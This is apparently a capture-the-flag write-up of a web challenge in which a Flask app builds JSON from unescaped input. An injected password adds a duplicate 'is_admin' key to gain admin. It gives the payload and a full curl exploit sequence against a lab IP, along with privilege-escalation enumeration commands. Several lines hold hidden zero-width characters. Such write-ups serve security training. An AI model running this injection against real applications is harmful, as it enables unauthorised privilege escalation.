← Back to Writeups
HTBN/AWeb

Bug Bounty-code

XESXOR8/23/20265 min read
#web#htb#n/a

Bug Bounty-code

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-02 | Status: Solved Techniques: duplicate_json_key_exploitation, hidden_hint_discovery_base64_in_bbcode, json_string_injection_via_unescaped_input, privilege_escalation_to_admin

Summary

Task: Flask web app with user registration/login where is_admin is hardcoded to false; user input is concatenated into JSON without escaping. Solution: inject closing quote and additional is_admin key into password field, exploiting Python json.loads() duplicate-key-last-wins behavior to escalate to admin.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20260502_hackerlab_bug_bounty_code
  • Tags: flask, authentication_bypass, python, base64, werkzeug, privilege_escalation, parameter_pollution, json_injection, bbcode
  • Indicators: HTTP 500 on double quote or backslash in form field but not on single quote, Flask session cookie containing is_admin field, base64-encoded hint hidden in white-colored BBCode text, user model structure leaked in page content, json.loads duplicate key last-wins behavior
  • Source: 20260502_hackerlab_bug_bounty_code.md

Foothold

Vulnerability / Misconfiguration

  1. Duplicate_json_key_exploitation
  2. Hidden_hint_discovery_base64_in_bbcode
  3. Json_string_injection_via_unescaped_input
  4. Privilege_escalation_to_admin
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • duplicate_json_key_exploitation
  • hidden_hint_discovery_base64_in_bbcode
  • json_string_injection_via_unescaped_input
  • privilege_escalation_to_admin
  • Tags: flask, authentication_bypass, python, base64, werkzeug, privilege_escalation, parameter_pollution, json_injection, bbcode

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Говорят, что здесь можно получить админа без СМС, но с регистрацией, а дальше как?

English summary: A Flask/Werkzeug web application with user registration, login, profile editing, and a BBCode content page. The goal is to escalate privileges from a regular user to admin to reveal the flag.

Analysis

Application Structure

The application runs on Flask/Werkzeug 3.0.4 with Python 3.10.7 and exposes the following endpoints:

EndpointMethodFunction
/registerPOSTCreate new user (nickname + password)
/loginPOSTAuthenticate, sets Flask session cookie
/profileGETShows user info including "Admin: false", edit form
/editPOSTUpdate nickname/password, redirects to /logout
/logoutGETClears session
/GETMain page with BBCode article about British cats
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The Flask session cookie contains: {"is_admin": "false", "nickname": "username"}.

Hidden Hint Discovery

Inside the main page's BBCode article, a [quote] block contained white-colored text ([color=#ffffff]) with a base64-encoded string:

IEkgdXBkYXRlZCB0aGUgdXNlciBlbnRpdHkgdmlldy4NCiBtb2RlbCA9IHsNCiAnbmlja25hbWUnOiBuaWNrbmFtZSwNCiAncGFzc3dvcmQnOiBwYXNzd29yZCwNCiAnaXNfYWRtaW4nOiAnZmFsc2UnDQogfQ==

Decoded:

 I updated the user entity view.
 model = {
 'nickname': nickname,
 'password': password,
 'is_admin': 'false'
 }

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This reveals the user model structure — is_admin is hardcoded to 'false'.

Identifying JSON Injection

Testing special characters in the nickname field during /edit:

CharacterResultMeaning
" (double quote)HTTP 500Breaks JSON string parsing
\ (backslash)HTTP 500Breaks JSON escape sequence
' (single quote)HTTP 302Normal — not a JSON delimiter
} (curly brace)HTTP 302Normal — inside a quoted string

This pattern is a textbook indicator of JSON string injection: user input is concatenated directly into a JSON string without escaping, and double quotes break the JSON structure. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Failed Approaches

Before finding the JSON injection vector, several other approaches were exhausted:

  • Mass assignment via /edit and /register with is_admin=true (various formats) — all failed
  • Flask session cookie forgery — SECRET_KEY bruteforce with rockyou.txt (200k+ attempts), common wordlists — all failed; server validates signatures properly
  • Hidden endpoints (/admin, /flag, /console, /debug, /.git, /.env) — all 404
  • SQLi in nickname — no errors
  • Different HTTP methods (PUT, PATCH) to /edit — 405 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Vulnerability: JSON String Injection with Duplicate Key Override

The server constructs the user model by string formatting/concatenation rather than proper serialization:

# Likely server-side code (reconstructed)
json_str = '{"is_admin": "false", "nickname": "%s", "password": "%s"}' % (nickname, password)
model = json.loads(json_str)

By injecting into the password field, we can close the password value and append a new is_admin key:

Injected password value: pass123", "is_admin": "true ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Resulting JSON:

{"is_admin": "false", "nickname": "user", "password": "pass123", "is_admin": "true"}

In Python's json.loads(), when there are duplicate keys, the last one wins — so is_admin becomes "true".

Exploit Steps

# Step 1: Register a new user
curl -s -X POST http://62.173.140.174:16057/register \
  -d 'nickname=myuser&password=pass123'

# Step 2: Login to get session cookie
SESSION=$(curl -s -D- -X POST http://62.173.140.174:16057/login \
  -d 'nickname=myuser&password=pass123' | \
  grep 'Set-Cookie' | sed 's/Set-Cookie: session=//;s/;.*//')
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 3: JSON injection via /edit — inject into password field
# URL-decoded password value: pass123", "is_admin": "true
curl -s -b "session=$SESSION" -X POST http://62.173.140.174:16057/edit \
  -d 'nickname=myuser&password=pass123%22%2C%20%22is_admin%22%3A%20%22true'

# Step 4: Re-login (server forces logout after edit)
NEW_SESSION=$(curl -s -D- -X POST http://62.173.140.174:16057/login \
  -d 'nickname=myuser&password=pass123' | \
  grep 'Set-Cookie' | sed 's/Set-Cookie: session=//;s/;.*//')

# Step 5: Access main page as admin — flag is revealed
curl -s -b "session=$NEW_SESSION" http://62.173.140.174:16057/
# Flag appears in the BBCode content

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Important detail: After the JSON injection, the actual stored password becomes just pass123 (the part before the injected quote), so re-login uses the original password. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR